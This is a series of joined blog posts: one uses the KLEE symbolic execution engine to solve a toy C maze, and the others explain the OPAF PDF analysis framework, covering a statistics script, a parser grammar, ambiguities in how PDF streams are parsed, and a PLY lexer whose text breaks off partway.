In this post we’ll exercise the symbolic execution engine KLEE over a funny ASCII Maze (yet another toy example)!

VS.

Maze dimensions: 11x7 Player pos: 1x1 Iteration no. 0 Program the player moves with a sequence of 'w', 's', 'a' or 'd' Try to reach the prize(#)! +-+---+---+ |X| |#| | | --+ | | | | | | | | +-- | | | | | | +-----+---+

The match is between a tiny maze-like game coded in C versus the full-fledged LLVM based symbolic execution engine, KLEE.

How many solutions do you think it has?

The Maze

The thing is coded in C and the impatient can download it from here. This simple ASCII game asks you first to feed it with directions. You should enter them as a batch list of actions. As “usual”; a is Left, d is Right, w is Up and s is Down. It has this looks …

Player pos: 1x4
Iteration no. 2. Action: s.
+-+---+---+
|X|     |#|
|X| --+ | |
|X|   | | |
|X+-- | | |
|     |   |
+-----+---+

It’s really small I know! But the code hides a nasty trick, and at the end, you’ll see, it has more than one way to solve it.

The KLEE

KLEE is a symbolic interpreter of LLVM bitcode. It runs code compiled/assembled into LLVM symbolically. That’s running a program considering its input(or some other variables) to be symbols instead of concrete values like 100 or “cacho”. In very few words, a symbolic execution runs through the code propagating symbols and conditions; forking execution at symbol dependant branches and asking the companion SMT solver for path feasibility or counter-examples. For more info on this check out this, this or even this.

Find it interesting? Keep reading!

The idea

Use KLEE to automatically solve our small puzzle.

Dissecting the code

Lets take a walk through the maze code. First it hardcodes the map as a static global rw variable.

#define H 7
#define W 11
char maze[H][W] = { "+-+---+---+",
                    "| |     |#|",
                    "| | --+ | |",
                    "| |   | | |",
                    "| +-- | | |",
                    "|     |   |",
                    "+-----+---+" };

Sets up a convenient function to draw the maze state on the screen…

void draw ()
{
	int i, j;
	for (i = 0; i < H; i++)
	  {
		  for (j = 0; j < W; j++)
				  printf ("%c", maze[i][j]);
		  printf ("\n");
	  }
	printf ("\n");
}

On the main function there are local variables to hold the position of the ”player”, the iteration counter, and a 28bytes array of the actions…

int
main (int argc, char *argv[])
{
    int x, y;     //Player position
    int ox, oy;   //Old player position
    int i = 0;    //Iteration number
    #define ITERS 28
    char program[ITERS];

The initial player position is set to (1,1), the first free cell in the map. And the player ‘sprite’ is the letter ‘X’ …

    x = 1;
    y = 1;
    maze[y][x]='X';

At this point we are ready to start! So it asks for directions. It reads all actions at once as an array of chars. It will execute up to ITERS iterations or commands.

    read(0,program,ITERS);

Now it iterates over the array of actions in variable ‘program’…

    while(i < ITERS)
      {
        ox = x;    //Save old player position
        oy = y;

Different actions change the position of the player in the different axis and directions. As “usual”; a is Left, d is Right, w is Up and s is Down.

        switch (program[i])
        {
            case 'w':
                        y--;
                break;
            case 's':
                        y++;
                break;
            case 'a':
                        x--;
                break;
            case 'd':
                        x++;
                break;
            default:
                        printf("Wrong command!(only w,s,a,d accepted!)\n");
                        printf("You lose!\n");
                        exit(-1);
        }

Checks if the prize has been hit! If affirmative… You win!

        if (maze[y][x] == '#')
        {
                printf ("You win!\n");
                printf ("Your solution \n",program);
                exit (1);
        }

If something is wrong do not advance, backtrack to the saved state!

        if (maze[y][x] != ' ' &&
            !((y == 2 && maze[y][x] == '|' && x > 0 && x < W)))
		    {
			    x = ox;
			    y = oy;
		    }

If crashed to a wall or if you couldn’t move! Exit, You lose!

        if (ox==x && oy==y){
                printf("You lose\n");
                exit(-2);
        }

Ok, basically if we can move.. we move! Put the player in the correct position in the map. And draw the new state.

        maze[y][x]='X';
        draw ();          //draw it

Increment the iteration counter (used to select next action in the array), wait a second and loop.

        i++;
        sleep(1); //me wait to human
    }

If you haven’t won so far.. you lose.

printf("You lose\n");
}

Ok, that’s all of it.

By hand…

Now considering you have it in maze.c. It should compile with a line like this

Run it! In a couple of tries you’ll get to the priceless ‘#’. Maybe using this solution:

ssssddddwwaawwddddssssddwwww

Yere you have a screen cast of me wining! Vivaaaa!!

By KLEE

Let’s see if KLEE is able to find the solution. First, for even start thinking about KLEE we need to get a copy of the LLVM toolchain, and compile our maze to LLVM bitcode. Here we have use LLVM 2.7 and llvm-gcc. You may want to take a tour to KLEE’s official tutorials here. Once you have the LLVM thing in place, a compile and test cycle for the maze.c using LLVM will be like this…

That will run the LLVM bitcode representation of our maze in the interpreter. But for testing it with KLEE we need to mark something in the code as symbolic. Let’s mark all maze inputs as symbolic, that’s the array of actions the maze code reads at the very beginning of the main function. KLEE will gain ‘symbolic control’ over the array of actions. In code, that’s done by changing this line …

    read(0,program,ITERS);

… by …

    klee_make_symbolic(program,ITERS,"program");

Also you will need to add the klee header at the beginning of the code…

#include <klee/klee.h>

Now KLEE will find every possible code/maze path reachable from any input. If some of those paths lead to a typical error condition like a memory failure or such, KLEE will signal it!

Hello, is mr. memory corruption here?! Let’s give it a try…

Here there is the screen cast of the a run…

As you could check at the end of the demo, KLEE finds 321 different paths…

… and it throws the test cases to generate all them to the klee-last folder…

Each test case could be retrieved with the ktest-tool like this…

So in this case you may take that input to the original maze and check what it does.

Ok, so far so good but I’m not ktest-tooling every possible test case and check if it is a maze solution! We need a way for KLEE to help us tell the normal test cases apart from the ones that actually reaches the “You win!” state.
Note also that KLEE haven’t found any error on the maze code. By design KLEE will issue a warning when any “well known” error condition(like a wrongly indexed memory access) is detected.

How to flag the portion of code we are interested in?

There is a klee_assert() function that pretty much do the same thing that a common C assert, it forces a condition to be true otherwise it aborts execution! You could check out the complete KLEE C interface here. But we already have what we need… a way to mark certain program part(with an assert) so KLEE will scream when it reach it.

In the code, that’s done by replacing this line …

printf ("You win!\n");

… by this two …

printf ("You win!\n");
klee_assert(0);  //Signal The solution!!

Now KLEE will assert a synthetic failure when it reaches the “You win state” (that means the ‘player’ hit the ‘#).OK, if you compile it to LLVM and run KLEE on the new version it flags one test case as being also an error…

Let’s see what’s the input that triggers this error/maze solution…

So it propose the solution…

sddwddddssssddwwww

HEY! That’s odd, it seems too short to even reach the other end of the maze! Lets try that input on the original maze…

Typical!! There are fake walls! And KLEE made its way through it! Excellent! But wait a minute it doesn’t suppose to find every possible solution? Where is our trivial solution? Why KLEE was unable to find it?

Well in most cases (apparently) you need only one way to reach an error condition, so KLEE wont show you the other ways to reach the same error state. We desperately need to use one of the 10000 KLEE options. We need to run it like this..

Check out the KLEE crazy run…

Now it gives 4 different “solutions”…

There are 4 posible solutions!!

1. ssssddddwwaawwddddssssddwwww
2. ssssddddwwaawwddddsddw
3. sddwddddssssddwwww
4. sddwddddsddw

Conclusion

Better to use symbolic execution than to do manual code exploration or even code an error prone ad-hoc solution searcher. Fuzzing for it may be unfeasible here even restricting the input to the interesting characters… but I’m not sure.

Comments and corrections are very welcome!!

f/

This is an example use of the opaflib. The script described here use opaflib to get some statistics about the different PDF objects that appear in you file stash. This 2 charts show the appearing frequencies of Filters and Object types in a 10Mbyte small database of a random pdf selection.

So it is better for your fuzzing base that this numbers seem even, otherwise you’ll be testing the same thing over and over.

Keep reading for more exciting details!!! WEEEEEEEEEEEE!

OK, lets gos step by step through the py script that does this. First, import the OPAF!(beta) library. Get it/ contribute here)

from opaflib import *

Initialize the counters…

types,filters = {} , {}
bytes, iobjects, streams, fstreams, cobjects = [], [], [], [], []

Read the pdf from stdin and parse it using normal parser from OPAF!…

xml_pdf = normalParser(sys.stdin.read())

Find, expand and parse every ObjStm …

for objstm in xml_pdf.xpath(
                      '//indirect_object_stream/dictionary/'+
                      'dictionary_entry/name[@payload=enc("Type")]'+
                      '/following-sibling::*[@payload=enc("ObjStm")]'+
                      '/../../..'):
    expand(objstm)
    expandObjStm(objstm)

WOAH! What’s that??
That’s XPATH, for some reason XML ppl loves it. Well, it apply conditions over the xml nodes and eventually that selects exactly the set of nodes you want. Let’s dissect the XPATH for getting all streams with compressed objects.
We need any appearing object stream …

  //indirect_object_stream

… that has a dictionary ….

  /dictionary

… with at least one dictionary entry…

  /dictionary_entry

… with a key named “Type” …

   /name[@payload=enc("Type") ...]

… which is followed by a value ObjStm.

  /following-sibling::*[@payload=enc("ObjStm")]

That way we select exactly any ‘ObjStm’ value of a key named ‘Type’ inside a dictionary entry in a dictionary in an indirect object. We backtrack a little to select the indirect object stream itself…

   /../../..

and thats it. The xpath thing.

Now it counts any filtered stream. Looking for every pdf stream that has a /Filter key…

for xml_fi in xml_pdf.xpath('//indirect_object_stream/dictionary/'+
                           'dictionary_entry/name[@payload=enc("Filter")]/'+
                           '../*[position()=2]'):
    if xml_fi.tag == 'array':
        fis = [payload(x) for x in xml_fi]
    elif xml_fi.tag == 'name':
        fis = [payload(xml_fi)]
    else:
        fis = []
    for fi in fis:
        filters[fi] = filters.get(fi,0)+1

Count every different object type on the file. That’s it every object which has a ‘Type’ key in its dictionary…

for xml_ty in xml_pdf.xpath('//dictionary/dictionary_entry'+
                             '/name[@payload=enc("Type")]'+
                             '/following-sibling::*[1]'):
    ty = payload(xml_ty)
    types[ty] = types.get(ty,0)+1

Count all indirect objects…

iobjects = xml_pdf.xpath('//indirect_object')

All streams on the file…

streams = xml_pdf.xpath('//indirect_object_stream')

All filtered streams…

fstreams = xml_pdf.xpath('//indirect_object_stream'+
                                '/dictionary/dictionary_entry'+
                                '/name[@payload=enc("Filter")]'+
                                '/../../..')

And all objects which were previously compressed and now there are child of a root level stream.

cobjects.append(len(xml_pdf.xpath('//indirect_object_stream//indirect_object')))

And finally print statistics to stdout.

print "Total number of parsed bytes: %s"%len(pdf)
print "Total number of indirect objects: %s"%len(iobjects)
print "Total number of streams: %s"%len(streams)
print "Total number of filtered streams: %s"%len(fstreams)
print "Total number of compressed objects: %s"%len(cobjects)
print "Object Filter frequencies: %s"%repr(filters)
print "Object Type frequencies: %s"%repr(types)

Aversion of this script is here (you need opaf). You run it like this…

python stats.py file1.pdf

… and it should give you something like the following if parsing was ok and all the other beta stuff went ok too.

Total number of parsed files: 82
Total number of parsed bytes: 100452601 [avg:1225031.71951]
Total number of indirect objects: 55928 [avg:682.048780488]
Total number of streams: 11726 [avg:143.0]
Total number of filtered streams: 10382 [avg:126.609756098]
Total number of compressed objects: 9093 [avg:110.890243902]
Object Filter frequencies:
{'A85': 1,
  'ASCII85Decode': 163,
  'CCITTFaxDecode': 128,
  'JBIG2Decode': 2,
  'LZWDecode': 559,
  'FlateDecode': 9075,
  'DCTDecode': 608,
  'JPXDecode': 3}

Object Type frequencies:
{'XObject': 2699,
  'Group': 45,
  'Pattern': 3,
  'PropertyList': 1,
  'OCG': 12,
  'OBJR': 3,
  'OCMD': 7,
  'ObjStm': 204,
  'Metadata': 161,
  'FileSpec': 159,
  'ExtGState': 598,
  'Halftone': 12,
  'Catalog': 95,
  'ViewerPreferences': 1,
  'Outlines': 18,
  'Filespec': 10,
  'Mask': 8,
  'Annot': 5300,
  'StructTreeRoot': 13,
  'FontDescriptor': 955,
  'Action': 32,
  'Page': 2962,
  'XRef': 24,
  'Encoding': 219,
  'EmbeddedFile': 4,
  'Pages': 427,
  'Font': 1473,
  'JobTicketContents': 1}

A pdf file rely on a complex file structure constructed from a set tokens, and grammar rules. Also each token being potentially compressed, encrypted or even obfuscated. Open PDF Analysis Framework will understand, decompress, de-obfuscate this basic pdf elements and present the resulting soup as a clean XML tree(done!). From there the idea is to compile a set of rules that can can be used to decide what to keep, what to cut out and ultimately if it is safe to open the resulting pdf projection(todo!).

Its written in python using PLY parser generator. The project page is here and you can get the code from here:

Keep reading for a test run…

Most of the work OPAF! will hide from you is outlined in our earlier posts about scanning a pdf, parsing a pdf and also the one discussing the caveats in the actual PDF ISO standard here.. Besides the straight forward natural parsing algorithm the lib also tries a brute force algorithm based on just few tokens. Let’s take a look of what it can already do…

Well, you first need a shady pdf like this one. This is not any alien PDF and that’s nothing really malicious about it. It even look plain…

… but if you try to open it with a tex/hex editor it stop being so friendly…

Here is where you get to try the OPAF! thing. Get the code and the pdf, solve the dependencies an run it like this..

it will generate a graph like the following for your ammusment..

That shows the minimalistic logical structure of this PDF. Note that you may get really big graphs here with other pdf samples.I have tried up to 3k nodes. Thats fun! But sadly not very useful. But that’s not all! It also gets you an XML representation of the pdf. This XML will look like this…

After this step, well you pretty much put in the game every known xml technology. XPATH being the most notable one when searching for specific things. In the project, the small, young, not finished, work in progress flagged, not really well coded project there are some examples of what you can do when got the pdf in its xml form. Use it, ignore it, patch it(lots of basic things to be done yet). Its open source!!! f/

–update–
Made a snapshot for you, download it here. Also in the news, the main tool now accepts some basic arguments…

/opaf $ python opaf.py  --help
Usage: opaf.py [options]

Options:
  -h, --help            show this help message and exit
  -x XML, --xmlfile=XML
                        Generate an xml file.
  -l LOG, --logfile=LOG
                        Dump log messages to LOG file.
  -i, --interactive     Throw interactive python shell
  -g GRAPH, --graph=GRAPH
                        Generate and dump graph to GRAPH.
  -d, --decompress      Apply a filter pack to decompress and parse objec
                        streams.

Also check out the next post for an example use; Taking statistics on pdf fuzzing databases with OPAF!. http://wp.me/pLJYx-7Q

Well in any case if you manage to run a lexer and tokenize it here you have the parsing grammar … weeee!!

object : NAME | STRING | HEXSTRING | NUMBER | TRUE | FALSE | NULL | R | dictionary | array 

dictionary : DOUBLE_LESS_THAN_SIGN dictionary_entry_list DOUBLE_GREATER_THAN_SIGN 

dictionary_entry_list : NAME object dictionary_entry_list
                      | empty  

array : LEFT_SQUARE_BRACKET object_list RIGHT_SQUARE_BRACKET 

object_list : object object_list 
            | empty

indirect : indirect_object_stream
         | indirect_object 

indirect_object : OBJ object ENDOBJ 
indirect_object_stream : OBJ dictionary STREAM_DATA ENDOBJ 

xref : indirect_object_stream 
     | XREF TRAILER dictionary 

pdf : HEADER pdf_update_list
pdf_update_list : pdf_update_list body xref pdf_end
                | body xref pdf_end

body : body indirect_object 
     | body indirect_object_stream 
     | empty

pdf_end : STARTXREF EOF

f/

This post is about the difficulties I ran into when trying to write a PDF parser. It’s my opinion that PDF specification is broken because it permits the token “endstream” inside a stream!

Summary:

There are  4 ways of deciding the size of a PDF stream:

[+] Scanning for the “endstream” token
[1] Scanning for the endstream token
[2] Get the size from the direct \Length entry
[3] Get the indirect \Length using the normal xref
[4] Calculate the size from the starting marks pointed from the Normal cross-reference

What happens in actual PDF implementations if:

[+] Cross-reference is broken?
[+] Cross-reference point to overlapped objects
[+] Streams contains the endstream token
[+] Streams contains some evil endstream/endobj token combination 
[+] If all the 4(or more) ways of parsing a PDF stream are present, should they be all consistent?

And finally, is this file PDF compliant? I bet someone may construct an obfuscation method based in this “issues”.

If you still think this is worth reading check out the following details and please comment if you find bug if you have a solution for the problems I stated here.

The problem…

A PDF stream Must be an indirect object. An indirect object is a PDF object enclosed between the keywords obj and endobj. If the following indirect object happens to be in your pdf:

obj 100 0
123456789
endobj

then any reference of the form “R 100 0” appearing in the PDF will reference the number 1234567789. Everything seams clean for indirect numbers and the other basic types like strings, arrays and even dictionaries. The problem arises with the PDF streams

A stream object, like a string object, is a sequence of bytes. A stream shall consist of a dictionary followed by zero or more bytes bracketed between the keywords stream(followed by newline) and endstream.

A stream will look like this…

<< \Length 100 >>
stream
AAAAAA ... AAAAAA
endstream

[1] Scan for the next endstream

First approach: GO UNTIL "endstream" KEYWORD
    pros: clean scan all the file then parse order.
    cons: slow and broken if endstream inside stream

The first naive approach when parsing PDF stream is to consume the dictionary …

<< \Length 100              >>  ---->         { "Length": 100 }

… then check if you have a stream keyword and scan until you get an endstream

stream
AAAAAA ... AAAAAA
endstream           ---->         '''AAAAA ... AAAAA'''

But, what if you for some reason you want to have the string “endstream” inside the PDF stream. Well something will obviously go wrong. Just try to naive-parse the following stream (wich contains the endstream string inside its payload):

<< \Length 100 >>
stream
AAAAAA ... AAAAendstream\nAAA ... AAAAAA
endstream

You’ll get a stream shorter than it should be followed by some binary garbage left out the stream lmits.

That’s wrong by specification. A PDF stream MUST be an indirect object. So it MUST be also enclosed inside the obj N M, endobj tokens, like this:

100 0 obj
<< \Length 100 >>
stream
AAAAAA ... AAAAendstream\nAAA ... AAAAAA
endstream
endobj

Interesting but, that’s not going to fix the problem because we can also put the endobj keyword inside the binary stream. In fact we can simulate a complete trailing PDF structure inside the stream. Try to parse this by hand (ignore the \Length for now)…

 
100 0 obj
<< \Length 100 >>
stream
AAAAAA ... AAAA
endstream
endobj
101 0 obj
(string)
endobj
AAA ... AAAAAA
endstream
endobj

It should be interpreted as a stream containing this binary payload…

AAAAAA ... AAAA
endstream
endobj
101 0 obj
(string)
endobj
AAA ... AAAAAA
endstream

NOTE: poppler,xpdf, and adobe parse it correctly no matter the bugging “endstream”.

Yeah right. The only thing that gets clear here is the fact that we can not rely “only” in the appearing of the stream,endstream,obj,endobj keywords. We need something else.

[2] The mandatory /Length keyword.

Second approach: GET THE \Length ENTRY
pros: fast and deterministic.
cons: Length could be an indirect object and depend on xref

Each stream object MUST have a /Length keyword in its dictionary for solving the ambiguities and speeding the scanning process. The /Length keyword must be a number indicating the amount of bytes in the stream. If we know the length we can “seek” until near the end of the stream payload and just check for the existence of endstream keyword.

Caveat 1: What happens when there is not an endstream keyword where it’s suppose to be one.

Caveat 2: As a way to facilitate the production of PDF files they let the Length value to be potentially an indirect reference to a number. That’s very useful when producing a PDF stream. This way you can procrastinate the setting of the length until you have already put the (potentially compressed) stream of bytes in place and then produce the size.

[+] Put a reference to a not yet defined length in the dictionary
[+] Put the dictionary
[+] Produce the stream
[+] Set the length in the referenced indirect object

So, for parsing a stream object we need to get another indirect object. Indirect objects are defined with obj and endobj keywords. But obj and endobj could appear inside a stream too. Deadlock? Or there is another hidden card in the spec?..

[3] The Normal Cross reference.

The PDF cross reference is the fastest way to know where certain indirect pdf object starts! It comes in too flavours, normal XREF and a stream XREF.

But first we need to find where the XREF is placed. That is done with the help of the startxref keyword. This keyword must appear almost at the end of the file and point to the byte position of the trailer an cross reference. Check out the section 7.5.5 of the spec (PDF3200::7.5.5) for more detail. A pdf should end like this.

trailer
    << key1 value1         key2 value2         ...         keyn valuen     >>
startxref
Byte_offset_of_last_cross-reference_section
%%EOF

The spec suggests that conforming readers should read a PDF file from its end. Once you have the cross reference you know where the different indirect objects start. Also if you assume every cross-referenced position points only to one well defined object, you may after some calculation determine the size of every object. This will be the third way of determining a pdf stream length. What happens if this way doesn’t match the others?

[4] The Cross Reference Stream.

There are also cross-references streams. Cross-reference streams are stream objects, and contain a dictionary and a data stream. Each cross-reference stream contains the information equivalent to the cross-reference table and trailer for one cross-reference section.

The value following the startxref keyword shall be the offset of the cross-reference stream rather than the xref keyword. For files that use cross-reference streams entirely, the keywords xref and trailer shall no longer be used. Therefore, with the exception of the startxref address %%EOF segment and comments, a file may be entirely a sequence of objects.

So there is a way, the modern way, to hold cross references in potentially compressed pdf streams in the middle of the file. How do we parse this pdf stream? We don’t have the cross reference trick for getting the length of this stream. So we could do the buggy scan-to-the-next-endstream way or the \Length way. But is the \Length entry in the cross reference stream indirect? The spec enforces that some of the entries in the XStream dictionary not to be indirect, but not the /Length. ok, timeout. Head about to explode alert, hurn hurn!!

The Linearyzed hell.

More research need to be done on this one. We’ll just quote a bit of the spec on this matter…

”’For pedagogical reasons the linearized PDF is considered to be composed from 11 parts…”’

In an attempt to irrevocably declare my insanity I went into the details of making a PDF lexer the most strict to the specification I can. This post is about making a Portable File Format lexer in python using the PLY parser generator. This lexer is based on the ISO 32000-1 standard. Yes! PDF is an ISO standard, see.

In a PDF we have hexstrings and strings, numbers, names, arrays, references and null, booleans, dictionaries, streams and the file structure entities (the header, the trailer dictionary, the eof mark, the startxref mark and the crossreference). We are going to describe in detail all the tokens needed to define the named entities. You’ll probably want to take a look on how a parser is written in PLY at this simple example.

QUICK DEMO

Before we go into the really really really boring stuff, let’s do a quick demonstration of it’s value…
Let’s pick a random PDF out there… hmm.. for example jailbrakeme.pdf. Then grab the already done lexer here and run it like this…

it should output something like this…

iPhone3,1_4.0.pdf
LexToken(HEADER,'1.3',1,0)
LexToken(OBJ,('4', '0'),1,22)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,45)
LexToken(STREAM_DATA,'q Q q 18 750 576 24 re W n /C ... ( ) Tj ET Q Q',1,48)
LexToken(ENDOBJ,'endobj',1,696)
LexToken(OBJ,('2', '0'),1,703)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,797)
LexToken(ENDOBJ,'endobj',1,800)
LexToken(OBJ,('6', '0'),1,807)
LexToken(DOUBLE_LESS_THAN_SIGN,'<<',1,815)
LexToken(NAME,'ProcSet',1,818)
LexToken(LEFT_SQUARE_BRACKET,'[',1,827)
LexToken(NAME,'PDF',1,829)
LexToken(NAME,'Text',1,834)
LexToken(RIGHT_SQUARE_BRACKET,']',1,840)
LexToken(NAME,'ColorSpace',1,842)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,868)
LexToken(NAME,'Font',1,871)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,892)
LexToken(DOUBLE_GREATER_THAN_SIGN,'>>',1,895)
LexToken(ENDOBJ,'endobj',1,898)
LexToken(OBJ,('3', '0'),1,905)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,978)
LexToken(ENDOBJ,'endobj',1,981)
LexToken(OBJ,('12', '0'),1,988)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,1028)
LexToken(ENDOBJ,'endobj',1,1031)
LexToken(OBJ,('13', '0'),1,1038)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,1102)
LexToken(STREAM_DATA,'x\x9c\xed}\rXT\xd7\xd5\xee\x1e...",1,1105)
LexToken(ENDOBJ,'endobj',1,11834)
LexToken(OBJ,('15', '0'),1,11841)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,12058)
LexToken(ENDOBJ,'endobj',1,12061)
LexToken(OBJ,('16', '0'),1,12068)
LexToken(LEFT_SQUARE_BRACKET,'[',1,12077)
LexToken(NUMBER,'556',1,12079)
LexToken(RIGHT_SQUARE_BRACKET,']',1,12083)
LexToken(ENDOBJ,'endobj',1,12085)
LexToken(OBJ,('9', '0'),1,12092)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,12254)
LexToken(ENDOBJ,'endobj',1,12257)
LexToken(OBJ,('18', '0'),1,12264)
LexToken(NUMBER,'9332',1,12273)
LexToken(ENDOBJ,'endobj',1,12278)
LexToken(OBJ,('20', '0'),1,12285)
LexToken(LEFT_SQUARE_BRACKET,'[',1,12294)
LexToken(NUMBER,'316',1,12296)
LexToken(NUMBER,'0',1,12300)
.
LexToken(NUMBER,'613',1,12516)
LexToken(RIGHT_SQUARE_BRACKET,']',1,12520)
LexToken(ENDOBJ,'endobj',1,12522)
LexToken(OBJ,('1', '0'),1,12529)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,12540)
LexToken(ENDOBJ,'endobj',1,12543)
LexToken(XREF,[((0, 29), [(0, 65535, 'f'),...(17744, 0, 'n')])],1,12550)
LexToken(TRAILER,'trailer',1,13140)
LexToken(DOUBLE_LESS_THAN_SIGN,'<>',1,13263)
LexToken(STARTXREF,17942,1,13266)
LexToken(EOF,'%%EOF\n',1,13282)

It marks the position of every object!!! WOW!!!!!!

Character sets

The PDF character set is divided into three classes, called regular, delimiter, and white-space characters. This classification determines the grouping of characters into tokens. The rules defined in this sub-clause apply to all characters in the file except within strings.

The white spaces …

white_spaces_r = r"\x20\r\n\t\x0c\x00"
white_spaces = "\x20\r\n\t\x0c\x00"

And the delimiter characters (, ), , [, ], {, }, /, and % …

delimiters = r"()[]/%" #This is odd: {} ?
delimiters_r = r"()\[\]/%" #This is odd: {} ?

As the first appearing hack we have that the CARRIAGE RETURN (0Dh) and LINE FEED (0Ah) characters, also called newline characters, shall be treated as end-of-line (EOL) markers. The combination of a CARRIAGE RETURN followed immediately by a LINE FEED shall be treated as one EOL marker.

eol = r'(\r|\n|\r\n)'

Boolean Objects

Boolean objects represent the logical values of true and false. They appear in PDF files using the keywords true and false.

t_TRUE = "true"
t_FALSE = "false"

Literal Strings

A literal string shall be written as an arbitrary number of characters enclosed in parentheses. Any characters may appear in a string except unbalanced parentheses and the backslash, which shall be treated specially as described in this sub-clause. Balanced pairs of parentheses within a string require no special treatment.

EXAMPLE 1 The following are valid literal strings:
( This is a string )
( Strings may contain newlines
and such . )
( Strings may contain balanced parentheses ( ) and
special characters ( * ! & } ^ % and so on ) . )
( The following is an empty string . )
()
( It has zero ( 0 ) length . )

Parsing this is INSANE! A string lexer should keep going until every parenthesis is balanced. So we need to keep track of the number of parenthesis we have consumed. For that we use different lexer states. But firs let see how we start scanning one of this thins… that is with a LEFT_PARENTHESIS:

def t_string_LEFT_PARENTHESIS(t):
    r"\("
    t.lexer.push_state('string')
    t.lexer.string += "("

Any normal char we just consume and add it to the string accumulator…

def t_string_LITERAL_STRING_CHAR(t):
    r'.'
    t.lexer.string += t.value

Any ESCAPED character inside a string, like an octal encoded char or \r, \n, \t, \b, \f, or \\ is lexed like this…

@TOKEN(r'\\([nrtbf()\\]|[0-7]{1,3}|'+eol+')')    
def t_string_ESCAPED_SEQUENCE(t):
    val = t.value[1:]
    if val[0] in '0123':
        value = chr(int(val,8)) 
    elif val[0] in '4567':
        value = chr(int(val[:2],8)) + val[3:]
    else:   
        value = { "\n": "", "\r": "", "n": "\n", "r": "\r", "t": "\t", "b": "\b", "f": "\f", "(": "(", ")": ")", "\\": "\\" }[val[0]]
    t.lexer.string += value

ALSO the newlines inside strings are treated differently. An end-of-line marker appearing within a literal string without a preceding REVERSE SOLIDUS shall be treated as a byte value of (0Ah), irrespective of whether the end-of-line marker was a CARRIAGE RETURN (0Dh), a LINE FEED (0Ah), or both.

@TOKEN(eol)
def t_string_LITERAL_STRING_EOL(t):
    t.lexer.string += "\x0A"

And lastly the lexer state stacking thing that deals with the parenthesis balancing insanity.

def t_string_LEFT_PARENTHESIS(t):
    r"\("
    t.lexer.push_state('string')
    t.lexer.string += "("
    
def t_string_RIGHT_PARENTHESIS(t):
    r"\)"
    t.lexer.pop_state()
    if t.lexer.current_state() == 'string':
        t.lexer.string += ")"
    else:
        t.type  = "STRING"
        t.value = t.lexer.string
        return t

Hexadecimal Strings

Strings may also be written in hexadecimal form, which is useful for including arbitrary binary data in a PDF file.A hexadecimal string shall be written as a sequence of hexadecimal digits (0-9 and either A-F or a-f) encoded as ASCII characters and enclosed within angle brackets .

EXAMPLE 1

Each pair of hexadecimal digits defines one byte of the string. White-space characters shall be ignored. If the final digit of a hexadecimal string is missing -that is, if there is an odd number of digits- the final digit shall be assumed to be 0.

@TOKEN(r'')
def t_HEXSTRING(t):
    t.value =  ''.join([c for c in t.value if c not in white_spaces+""])
    t.value =  (t.value+('0'*(len(t.value)%2))).decode('hex')
    return t

Name objects

Beginning with PDF 1.2 a name object is an atomic symbol uniquely defined by a sequence of any characters (8-bit values) except null (character code 0). PDF names are basically everything starting with a “/” and ending with some delimiter. In any case we need a different lexer state to handle this.

It starts wit a SOLIDUS:

def t_NAME(t):
    r'/'
    t.lexer.push_state('name')    
    t.lexer.name = ""
    t.lexer.start = t.lexpos

Any character in a name that is a regular character (other than NUMBER SIGN) shall be written as itself or by using its 2-digit hexadecimal code, preceded by the NUMBER SIGN.

def t_name_HEXCHAR(t):
    r'\#[0-9a-fA-F]{2}'
    assert t.value != "#00"
    t.lexer.name += t.value[1:].decode('hex')

Any “normal character” (not a delimiter, nor a whitespace) is consumed directly…

@TOKEN(r'[^'+white_spaces_r+delimiters_r+']')
def t_name_NAMECHAR(t):
    t.lexer.name += t.value

And it ends a return the token otherwise…

@TOKEN(r'['+white_spaces_r+delimiters_r+']')
def t_name_WHITESPACE(t):
    global stream_len
    t.lexer.pop_state()
    t.lexer.lexpos -= 1
    t.lexpos = t.lexer.start
    t.type  = "NAME"
    t.value = t.lexer.name
    t.lexer.name=""
    return t

Array Objects

An array shall be written as a sequence of objects enclosed in [ and ].

[ 549 3.14 false ( Ralph ) /SomeName ]

At last something fairly simple! We just need to scan for this…

t_LEFT_SQUARE_BRACKET = r"\["
t_RIGHT_SQUARE_BRACKET = r"\]"

Dictionary Objects

A dictionary shall be written as a sequence of key-value pairs enclosed in double angle brackets (<>)

Again simple thing..

t_DOUBLE_LESS_THAN_SIGN = r'<<'

Stream Objects

A stream object, like a string object, is a sequence of bytes. A stream shall consist of a dictionary followed by zero or more bytes bracketed between the keywords stream(followed by newline) and endstream.
Note that the keyword “endstream” may appear in the middle of a stream making it impossible to scan. For that reason the stream dictionary MUST have a \Length key in it to disambiguate the length (and in some cases accelerate the scan) of the following stream.

By now we do not take the Length key in consideration and scan until we found the next “endstream”.

def t_STREAM_DATA(t):
    r'stream(\r\n|\n)'
    found = t.lexer.lexdata.find('endstream',t.lexer.lexpos)
    stream_len = None
    
    if found != -1:
        chop = 0

        if t.lexer.lexdata[found-3] == '\r':
            chop = {'\r':1, '\n':2}[t.lexer.lexdata[found-2]]
        elif t.lexer.lexdata[found-2] in ['\n','\r']:
            chop = 1
        else:
            #TODO log errors
            pass
        t.value = t.lexer.lexdata[t.lexer.lexpos: found -1 - chop]
        t.lexer.lexpos = found + 9
        t.type  = "STREAM_DATA"
    else:
        raise Exception("Error:Parsing:Lexer: COuld not found endstream string.")
    return t

Indirect Objects

Any object in a PDF file may be labeled as an indirect object.The definition of an indirect object in a PDF file shall consist of its object number and generation number(separated by white space), followed by the value of the object bracketed between the keywords obj and endobj.
The “obj N M ” keyword…

def t_OBJ(t):
    r'\d+\x20\d+\x20obj' #[0-9]{1,10} [0-9]+ obj'
    t.value = tuple(t.value.split("\x20")[:2])
    return t

and the endboj…

t_ENDOBJ = r'endobj'

The object may be referred to from elsewhere in the file by an indirect reference. Such indirect references shall consist of the object number, the generation number, and the keyword R (with white space separating each
part):

12 0 R

def t_R(t):
    r'\d+\x20\d+\x20R'
    t.value = tuple([int(x,10) for x in t.value.split("\x20")[:2] ])
    return t

The null object has a type and value that are unequal to those of any other object. There shall be only one object of type null, denoted by the keyword null.

t_NULL = r'null'

Numeric Objects

